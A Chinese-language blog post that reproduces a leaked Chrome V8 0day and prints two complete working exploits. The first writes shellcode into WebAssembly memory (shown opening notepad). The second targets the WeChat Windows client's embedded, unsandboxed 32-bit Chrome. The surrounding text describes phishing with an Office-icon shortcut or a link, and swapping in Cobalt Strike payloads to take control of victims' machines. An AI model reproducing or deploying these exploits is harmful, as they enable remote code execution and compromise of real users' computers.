Chrome 0Day 复现与思考

Question

1 漏洞复现

HW 期间爆出了 Chrome 0Day，复现一手。 https://github.com/avboy1337/1195777-chrome0day

弹记事本的 POC：

<script>
   function gc() {
     for (var i = 0; i < 0x80000; ++i) {
       var a = new ArrayBuffer();
    }
  }
   let shellcode = [0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
     0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52,
     0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
     0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED,
     0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88,
     0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
     0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48,
     0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1,
     0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
     0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49,
     0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A,
     0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
     0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00,
     0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B,
     0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
     0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
     0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x6E, 0x6F, 0x74, 0x65, 0x70,
     0x61, 0x64, 0x2E, 0x65, 0x78, 0x65, 0x00];
   var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
   var wasmModule = new WebAssembly.Module(wasmCode);
   var wasmInstance = new WebAssembly.Instance(wasmModule);
   var main = wasmInstance.exports.main;
   var bf = new ArrayBuffer(8);
   var bfView = new DataView(bf);
   function fLow(f) {
     bfView.setFloat64(0, f, true);
     return (bfView.getUint32(0, true));
  }
   function fHi(f) {
     bfView.setFloat64(0, f, true);
     return (bfView.getUint32(4, true))
  }
   function i2f(low, hi) {
     bfView.setUint32(0, low, true);
     bfView.setUint32(4, hi, true);
     return bfView.getFloat64(0, true);
  }
   function f2big(f) {
     bfView.setFloat64(0, f, true);
     return bfView.getBigUint64(0, true);
  }
   function big2f(b) {
     bfView.setBigUint64(0, b, true);
     return bfView.getFloat64(0, true);
  }
   class LeakArrayBuffer extends ArrayBuffer {
     constructor(size) {
       super(size);
       this.slot = 0xb33f;
    }
  }
   function foo(a) {
     let x = -1;
     if (a) x = 0xFFFFFFFF;
     var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
     arr.shift();
     let local_arr = Array(2);
     local_arr[0] = 5.1;//4014666666666666
     let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8
     arr[0] = 0x1122;
     return [arr, local_arr, buff];
  }
   for (var i = 0; i < 0x10000; ++i)
     foo(false);
   gc(); gc();
  [corrput_arr, rwarr, corrupt_buff] = foo(true);
   corrput_arr[12] = 0x22444;
   delete corrput_arr;
   function setbackingStore(hi, low) {
     rwarr[4] = i2f(fLow(rwarr[4]), hi);
     rwarr[5] = i2f(low, fHi(rwarr[5]));
  }
   function leakObjLow(o) {
     corrupt_buff.slot = o;
     return (fLow(rwarr[9]) - 1);
  }
   let corrupt_view = new DataView(corrupt_buff);
   let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);
   let idx0Addr = corrupt_buffer_ptr_low - 0x10;
   let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;
   let delta = baseAddr + 0x1c - idx0Addr;
   if ((delta % 8) == 0) {
     let baseIdx = delta / 8;
     this.base = fLow(rwarr[baseIdx]);
  } else {
     let baseIdx = ((delta - (delta % 8)) / 8);
     this.base = fHi(rwarr[baseIdx]);
  }
   let wasmInsAddr = leakObjLow(wasmInstance);
   setbackingStore(wasmInsAddr, this.base);
   let code_entry = corrupt_view.getFloat64(13 * 8, true);
   setbackingStore(fLow(code_entry), fHi(code_entry));
   for (let i = 0; i < shellcode.length; i++) {
     corrupt_view.setUint8(i, shellcode[i]);
  }
   main();
</script>

前提需要关闭 Chrome 的沙盒模式：

执行 POC.html：

快捷方式钓鱼，换个 Office 的图标就可以：

CS 上线：

生成 64 位的 payload，并将格式转换为：

执行 POC，成功上线：

2 思考

windows 微信客户端下内置的 Chrome 浏览器默认关闭沙箱模式，但是是 32 位的，如果有针对 32 位的 payload，就可以利用 win 下的客户端进行钓鱼。

3 后续补充

windows 微信客户端 payload：

ENABLE_LOG = true;
IN_WORKER = true;

// input your shellcode
var shellcode = [0x00,0x00];

function print(data) {
}


var not_optimised_out = 0;
var target_function = (function (value) {
  if (value == 0xdecaf0) {
    not_optimised_out += 1;
  }
  not_optimised_out += 1;
  not_optimised_out |= 0xff;
  not_optimised_out *= 12;
});

for (var i = 0; i < 0x10000; ++i) {
  target_function(i);
}


var g_array;
var tDerivedNCount = 17 * 87481 - 8;
var tDerivedNDepth = 19 * 19;

function cb(flag) {
  if (flag == true) {
    return;
  }
  g_array = new Array(0);
  g_array[0] = 0x1dbabe * 2;
  return 'c01db33f';
}

function gc() {
  for (var i = 0; i < 0x10000; ++i) {
    new String();
  }
}

function oobAccess() {
  var this_ = this;
  this.buffer = null;
  this.buffer_view = null;

  this.page_buffer = null;
  this.page_view = null;

  this.prevent_opt = [];

  var kSlotOffset = 0x1f;
  var kBackingStoreOffset = 0xf;

  class LeakArrayBuffer extends ArrayBuffer {
    constructor() {
      super(0x1000);
      this.slot = this;
    }
  }

  this.page_buffer = new LeakArrayBuffer();
  this.page_view = new DataView(this.page_buffer);

  new RegExp({ toString: function () { return 'a' } });
  cb(true);

  class DerivedBase extends RegExp {
    constructor() {
      // var array = null;
      super(
        // at this point, the 4-byte allocation for the JSRegExp `this` object
        // has just happened.
        {
          toString: cb
        }, 'g'
        // now the runtime JSRegExp constructor is called, corrupting the
        // JSArray.
      );

      // this allocation will now directly follow the FixedArray allocation
      // made for `this.data`, which is where `array.elements` points to.
      this_.buffer = new ArrayBuffer(0x80);
      g_array[8] = this_.page_buffer;
    }
  }

  // try{
  var derived_n = eval(`(function derived_n(i) {
    if (i == 0) {
      return DerivedBase;
    }

    class DerivedN extends derived_n(i-1) {
      constructor() {
        super();
        return;
        ${"this.a=0;".repeat(tDerivedNCount)}
      }
    }

    return DerivedN;
  })`);

  gc();


  new (derived_n(tDerivedNDepth))();

  this.buffer_view = new DataView(this.buffer);
  this.leakPtr = function (obj) {
    this.page_buffer.slot = obj;
    return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);
  }

  this.setPtr = function (addr) {
    this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt);
  }

  this.read32 = function (addr) {
    this.setPtr(addr);
    return this.page_view.getUint32(0, true, ...this.prevent_opt);
  }

  this.write32 = function (addr, value) {
    this.setPtr(addr);
    this.page_view.setUint32(0, value, true, ...this.prevent_opt);
  }

  this.write8 = function (addr, value) {
    this.setPtr(addr);
    this.page_view.setUint8(0, value, ...this.prevent_opt);
  }

  this.setBytes = function (addr, content) {
    for (var i = 0; i < content.length; i++) {
      this.write8(addr + i, content[i]);
    }
  }
  return this;
}

function trigger() {
  var oob = oobAccess();

  var func_ptr = oob.leakPtr(target_function);
  print('[*] target_function at 0x' + func_ptr.toString(16));

  var kCodeInsOffset = 0x1b;

  var code_addr = oob.read32(func_ptr + kCodeInsOffset);
  print('[*] code_addr at 0x' + code_addr.toString(16));

  oob.setBytes(code_addr, shellcode);

  target_function(0);
}

try{
  print("start running");
  trigger();
}catch(e){
  print(e);
}

用 cs 生成 32 位的 payload，添加到上面脚本的 shellcode 变量中

点击链接：

执行：

上线：